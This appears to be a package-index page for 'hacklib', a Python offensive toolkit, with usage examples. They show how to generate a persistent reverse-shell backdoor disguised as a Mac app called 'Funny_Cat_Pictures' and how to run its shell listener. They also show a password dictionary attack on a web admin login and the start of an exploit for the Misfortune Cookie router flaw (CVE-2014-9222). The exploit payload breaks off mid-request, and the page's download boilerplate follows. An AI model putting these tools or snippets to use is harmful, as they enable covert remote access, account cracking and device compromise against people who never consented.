Skip to main content

Toolkit for hacking enthusiasts using Python.

Project description

hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.

Current Features:

  1. Reverse shell backdooring
  2. Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins
  3. Port Scanning
  4. Socks4/5 proxy scraping and tunneling

Generating a backdoor payload (Currently only for Macs):

import hacklib
bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app

Shell listener (Use in conjunction with the backdoor):

import hacklib
# Create instance of Server with the listening port
>>> s = hacklib.Server(9090)
>>> s.listen()
New connection ('127.0.0.1', 51101)
bash: no job control in this shell
bash$ whoami
leon
bash$
# Sweet!

Simple Dictionary Attack example with hacklib.AuthClient:

import hacklib
ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)
for p in passwords:
    htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
    if 'welcome' in htmldata.lower():
        print 'Password is', p
        break

Discovery and Exploitation of the Misfortune Cookie Exploit (CVE-2014-9222) with hacklib.PortScanner():

>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET /HTTP/1.1
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Filename, size & hash SHA256 hash help File type Python version Upload date
hacklib-0.1.6.3.tar.gz (12.5 kB) Copy SHA256 hash SHA256 Source None

Supported by

Elastic Elastic Search Pingdom Pingdom Monitoring Google Google BigQuery Sentry Sentry Error logging AWS AWS Cloud computing DataDog DataDog Monitoring Fastly Fastly CDN SignalFx SignalFx Supporter DigiCert DigiCert EV certificate StatusPage StatusPage Status page